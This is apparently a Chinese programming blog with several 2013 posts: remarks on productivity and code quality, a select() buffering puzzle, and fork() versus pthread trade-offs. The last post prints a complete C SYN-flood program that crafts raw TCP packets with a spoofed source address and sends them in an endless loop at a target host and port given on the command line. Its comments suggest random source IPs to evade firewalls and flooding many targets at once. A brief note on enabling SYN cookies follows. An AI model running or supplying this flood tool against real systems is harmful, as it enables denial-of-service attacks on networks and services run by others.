此外,很多方法已經被研發出來,但是相對應的工具還不是那麼方便,最有名以及全面的工具應該是version control跟refactoring工具,version control不管是cvs, svn or git都是一個良好的工具,比自行壓縮,然後在檔案名稱上面附加上日期好很多,refactoring則是一種瑣碎的過程,如果IDE沒有配合的工具,我想光rename variable/method這件事情就很容易引入更多的bug

最後要表達的是,生產力以及品質之間有關連,但卻又是分開的。有些人會覺得很詭異,舉例來說,使用OOP或者Design Pattern可以提升生產力嗎?答案是否定的,工程是不會因為OOP或者Design Pattern產生新的功能出來,也就是對於用戶,使用lisp(not OOP)或者C++(OOP)是沒有分別的,但是正確使用兩者則可以提升開發品質,間接的會影響生產力,更容易維護的code是有幫助的,但幫助不是增加新功能

在換句話說,可以分為對內需求以及對外需求,對內(專案團隊),如何專案管理、如何測試、如何提升可維護性是很重要。但是對外(客戶),則是團隊交付了多少功能以及花費還有時間才是他們所期待的。這兩者不直接相關,但是兩者又互相影響

2013年2月14日 星期四

select()的細節

直接先看code

 1: #include <sys/types.h>
 2: #include <sys/select.h>
 3: #include <stdio.h>
 4: #include <stdlib.h>
 5: #include <string.h>
 6: 
 7: #define BUFSIZE (256)
 8: 
 9: int main(void){
10:     fd_set read_fdset;
11:     int maxfd=1;
12:     char buff[BUFSIZE];
13:     while (1) {
14:         FD_ZERO(&read_fdset);
15:         FD_SET(0, &read_fdset);
16:         int result = select(maxfd + 1, &read_fdset, NULL, NULL, NULL);
17:         if (0 > result){
18:             printf("select error\n");
19:             exit(1);
20:         }   
21: 
22:         if (FD_ISSET(0, &read_fdset)){
23:             printf("data is ready\n");
24:             int c=getc(stdin);
25:             printf("%c",c);
26:         }   
27:     }   
28:     return 0;
29: }
結果是?輸入test,按下兩次enter,得到的結果,如下圖
如果可以一眼看出答案,表示對select()有深入了解。容我賣個關子,這裡問題出在於stdio對於buffer以及kernel buffer的認知上面

2013年2月13日 星期三

fork() or pthread

pthread已經是很久以前碰過的東西(十年以前了),當然這是一個歷久不衰,甚至愈來愈興盛的library,然則有許多人把他當成效能改進方案,是否完全正確!?說到效能,就不得不提到最近崛起的方式則是asynchronous IO,當然兩者不是完全競爭性的存在,但是卻是效能提升的選擇

如richard stevens在unix network programming提到的,fork()需要配大量資源,有其包袱,如果要溝通parent/child則必須透過IPC機制,thread則沒有這些問題,但是相對應的thread有同步的問題

我想介紹兩點使用thread但是不使用fork() process所可能帶來的問題,藉此想說明,不要過度依賴thread
  • thread遇上system call可能block所有threads,這可能是一個programmer意想不到的
  • thread在CPU分配上有先天的問題,因為linux本身是以process為單位分配,也就是如果一個programmer希望他的program有較高的效能,可能用fork()比較好
有上面的問題(issue)也不表示捨棄thread,個人認為應該更加精細的控制thread與process才能達到更好的效能,比方說將批次的工作做一process,每個process在分成若干threads,當然這些方式往往必須programmer付出更多的精力來達成,但是在目前追求效能的風氣下,這是一種解決的方案

以第一點舉例來說,參考之前雲端投影機,當client提出一個投影片的需求的時候,server必須將slides轉換為images,這是一個耗用大量CPU以及block IO的工作(或許可以將這個過程使用asynchronous IO來處理,但表示連libpng之類的lib或者使用到任何tool都必須支援或者轉換為支援asynchronous IO),即使使用thread或者select()都無法解決的,最後我選擇的解決方案是fork()

asynchronous IO則是還沒機會使用C語言實作過,但是倒是在javascript的node.js上體驗過,一個使用event queue來理解這個機制比較容易,但是asynchronous IO似乎在流程控制上比較困難,如果有興趣可以參考我之前寫的文章

2013年2月11日 星期一

用raw socket做sync flood攻擊

  1:      #include <unistd.h>
  2:     #include <stdio.h>
  3:     #include <sys/socket.h>
  4:     #include <netinet/ip.h>
  5:     #include <netinet/tcp.h>
  6: 
  7:     /* TCP flags, can define something like this if needed */
  8:     /*
  9:     #define URG 32
 10:     #define ACK 16
 11:     #define PSH 8
 12:     #define RST 4
 13:     #define SYN 2
 14:     #define FIN 1
 15:     */
 16: 
 17:     struct ipheader {
 18:      unsigned char      iph_ihl:5, /* Little-endian */
 19:                         iph_ver:4;
 20:      unsigned char      iph_tos;
 21:      unsigned short int iph_len;
 22:      unsigned short int iph_ident;
 23:      unsigned char      iph_flags;
 24:      unsigned short int iph_offset;
 25:      unsigned char      iph_ttl;
 26:      unsigned char      iph_protocol;
 27:      unsigned short int iph_chksum;
 28:      unsigned int       iph_sourceip;
 29:      unsigned int       iph_destip;
 30:     };
 31:     /* Structure of the TCP header */
 32:     struct tcpheader {
 33:      unsigned short int   tcph_srcport;
 34:      unsigned short int   tcph_destport;
 35:      unsigned int             tcph_seqnum;
 36:      unsigned int             tcph_acknum;
 37:      unsigned char          tcph_reserved:4, tcph_offset:4;
 38:      unsigned int
 39:            tcp_res1:4,       /*little-endian*/
 40:            tcph_hlen:4,      /*length of tcp header in 32-bit words*/
 41:            tcph_fin:1,       /*Finish flag "fin"*/
 42:            tcph_syn:1,       /*Synchronize sequence numbers to start a connection*/
 43:            tcph_rst:1,       /*Reset flag */
 44:            tcph_psh:1,       /*Push, sends data to the application*/
 45:            tcph_ack:1,       /*acknowledge*/
 46:            tcph_urg:1,       /*urgent pointer*/
 47:            tcph_res2:2;
 48:      unsigned short int   tcph_win;
 49:      unsigned short int   tcph_chksum;
 50:      unsigned short int   tcph_urgptr;
 51:     };
 52: 
 53:     /* function for header checksums */
 54:     unsigned short csum (unsigned short *buf, int nwords)
 55:     {
 56:       unsigned long sum;
 57:       for (sum = 0; nwords > 0; nwords--)
 58:         sum += *buf++;
 59:       sum = (sum >> 16) + (sum & 0xffff);
 60:       sum += (sum >> 16);
 61:       return (unsigned short)(~sum);
 62:     }
 63: 
 64:     int main(int argc, char *argv[ ])
 65:     {
 66:       /* open raw socket */
 67:     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 68:       /* this buffer will contain ip header, tcp header, and payload we'll
 69:          point an ip header structure at its beginning, and a tcp header
 70:          structure after that to write the header values into it */
 71:     char datagram[4096];
 72:     struct ipheader *iph = (struct ipheader *) datagram;
 73:       struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
 74:       struct sockaddr_in sin;
 75: 
 76:       if(argc != 3)
 77:       {
 78:            printf("Invalid parameters!\n");
 79:            printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
 80:            exit(-1);
 81:       }
 82: 
 83:       unsigned int floodport = atoi(argv[2]);
 84:     /* the sockaddr_in structure containing the destination
 85:      address is used in sendto() to determine the datagrams path */
 86:     sin.sin_family = AF_INET;
 87:     /* you byte-order >1byte header values to network byte
 88:      order (not needed on big-endian machines). */
 89:     sin.sin_port = htons(floodport);
 90:     sin.sin_addr.s_addr = inet_addr(argv[1]);
 91:        /* zero out the buffer */
 92:        memset(datagram, 0, 4096);
 93:        /* we'll now fill in the ip/tcp header values */
 94:        iph->iph_ihl = 5;
 95:        iph->iph_ver = 4;
 96:     iph->iph_tos = 0;
 97:     /* just datagram, no payload. You can add payload as needed */
 98:     iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
 99:     /* the value doesn't matter here */
100:       iph->iph_ident = htonl (54321);
101:       iph->iph_offset = 0;
102:       iph->iph_ttl = 255;
103:     iph->iph_protocol = 6;  // upper layer protocol, TCP
104:       /* set it to 0 before computing the actual checksum later */
105:     iph->iph_chksum = 0;
106: 
107:     /* SYN's can be blindly spoofed.  Better to create randomly
108:        generated IP to avoid blocking by firewall */
109:     iph->iph_sourceip = inet_addr ("192.168.3.100");
110:     /* Better if we can create a range of destination IP,
111:        so we can flood all of them at the same time */
112:     iph->iph_destip = sin.sin_addr.s_addr;
113:     /* arbitrary port for source */
114:       tcph->tcph_srcport = htons (5678);
115:     tcph->tcph_destport = htons (floodport);
116:     /* in a SYN packet, the sequence is a random */
117:     tcph->tcph_seqnum = random();
118:     /* number, and the ACK sequence is 0 in the 1st packet */
119:       tcph->tcph_acknum = 0;
120:       tcph->tcph_res2 = 0;
121:       /* first and only tcp segment */
122:     tcph->tcph_offset = 0;
123:     /* initial connection request, I failed to use TH_FIN,
124:        so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/
125:     tcph->tcph_syn = 0x02;
126:     /* maximum allowed window size */
127:     tcph->tcph_win = htonl (65535);
128:       /* if you set a checksum to zero, your kernel's IP stack should
129:          fill in the correct checksum during transmission. */
130:       tcph->tcph_chksum = 0;
131:       tcph-> tcph_urgptr = 0;
132: 
133:       iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);
134: 
135:     /* a IP_HDRINCL call, to make sure that the kernel knows
136:        the header is included in the data, and doesn't insert
137:        its own header into the packet before our data */
138:     /* Some dummy */
139:     int tmp = 1;
140:     const int *val = &tmp;
141:     if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
142:     {
143:     printf("Error: setsockopt() - Cannot set HDRINCL!\n");
144:     /* If something wrong, just exit */
145:     exit(-1);
146:     }
147:     else
148:       printf("OK, using your own header!\n");
149: 
150:     /* You have to manually stop this program */
151:     while(1)
152:     {
153:       if(sendto(s,                       /* our socket */
154:                datagram,                 /* the buffer containing headers and data */
155:                iph->iph_len,             /* total length of our datagram */
156:                0,                        /* routing flags, normally always 0 */
157:                (struct sockaddr *) &sin, /* socket addr, just like in */
158:                sizeof (sin)) < 0)        /* a normal send() */
159:          printf("sendto() error!!!.\n");
160:       else
161:         printf("Flooding %s at %u...\n", argv[1], floodport);
162: 
163:     }
164:       return 0;
165:     }
在server有對應之道就是打開SYN Cookies,這個linux本身有支援,syn cookies在七八年前我就聽過了,應該是成熟的技巧,利用hash table處理connections避免server資源耗盡地的問題,使用
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
打開,在trace listen(), accpet()的時候其實裡面就有syn cookies的部分codes
不過對於DDOS還是無法解決網路頻寬耗盡的問題